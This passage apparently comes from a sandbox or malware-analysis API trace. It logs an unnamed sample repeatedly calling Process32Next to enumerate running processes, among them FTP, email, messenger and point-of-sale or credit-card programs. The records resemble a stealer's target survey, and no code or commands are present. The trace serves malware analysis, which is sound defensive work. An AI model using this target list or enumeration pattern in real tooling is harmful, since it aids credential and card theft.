th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.090] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.092] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.095] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.097] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.099] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.102] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.106] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.109] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.112] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.115] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.117] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.120] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.123] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.142] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0249.145] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0249.147] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0249.150] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.152] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0249.154] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0249.156] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0249.159] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.161] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.194] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0249.197] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.199] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.201] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0249.203] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0249.205] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0249.207] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0249.209] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0249.211] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0249.213] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0249.215] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0249.217] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0249.219] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0249.220] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0249.222] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0249.224] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0249.226] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0249.228] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0249.230] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0249.232] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0249.234] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0249.236] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0249.238] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0249.240] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0249.242] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0249.244] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0249.247] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0249.249] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0249.251] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0249.254] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0249.256] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0249.258] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0249.261] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0249.263] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0249.265] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0249.267] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0249.270] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0249.273] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0249.275] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0249.277] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0249.280] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0249.283] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0249.285] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0249.287] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0249.289] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0249.292] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0249.294] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0249.296] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0249.298] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0249.375] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0249.380] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0249.382] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0249.386] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0249.388] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0249.390] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0249.392] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0249.395] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0249.397] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0249.399] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0249.402] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0249.404] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0249.406] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, 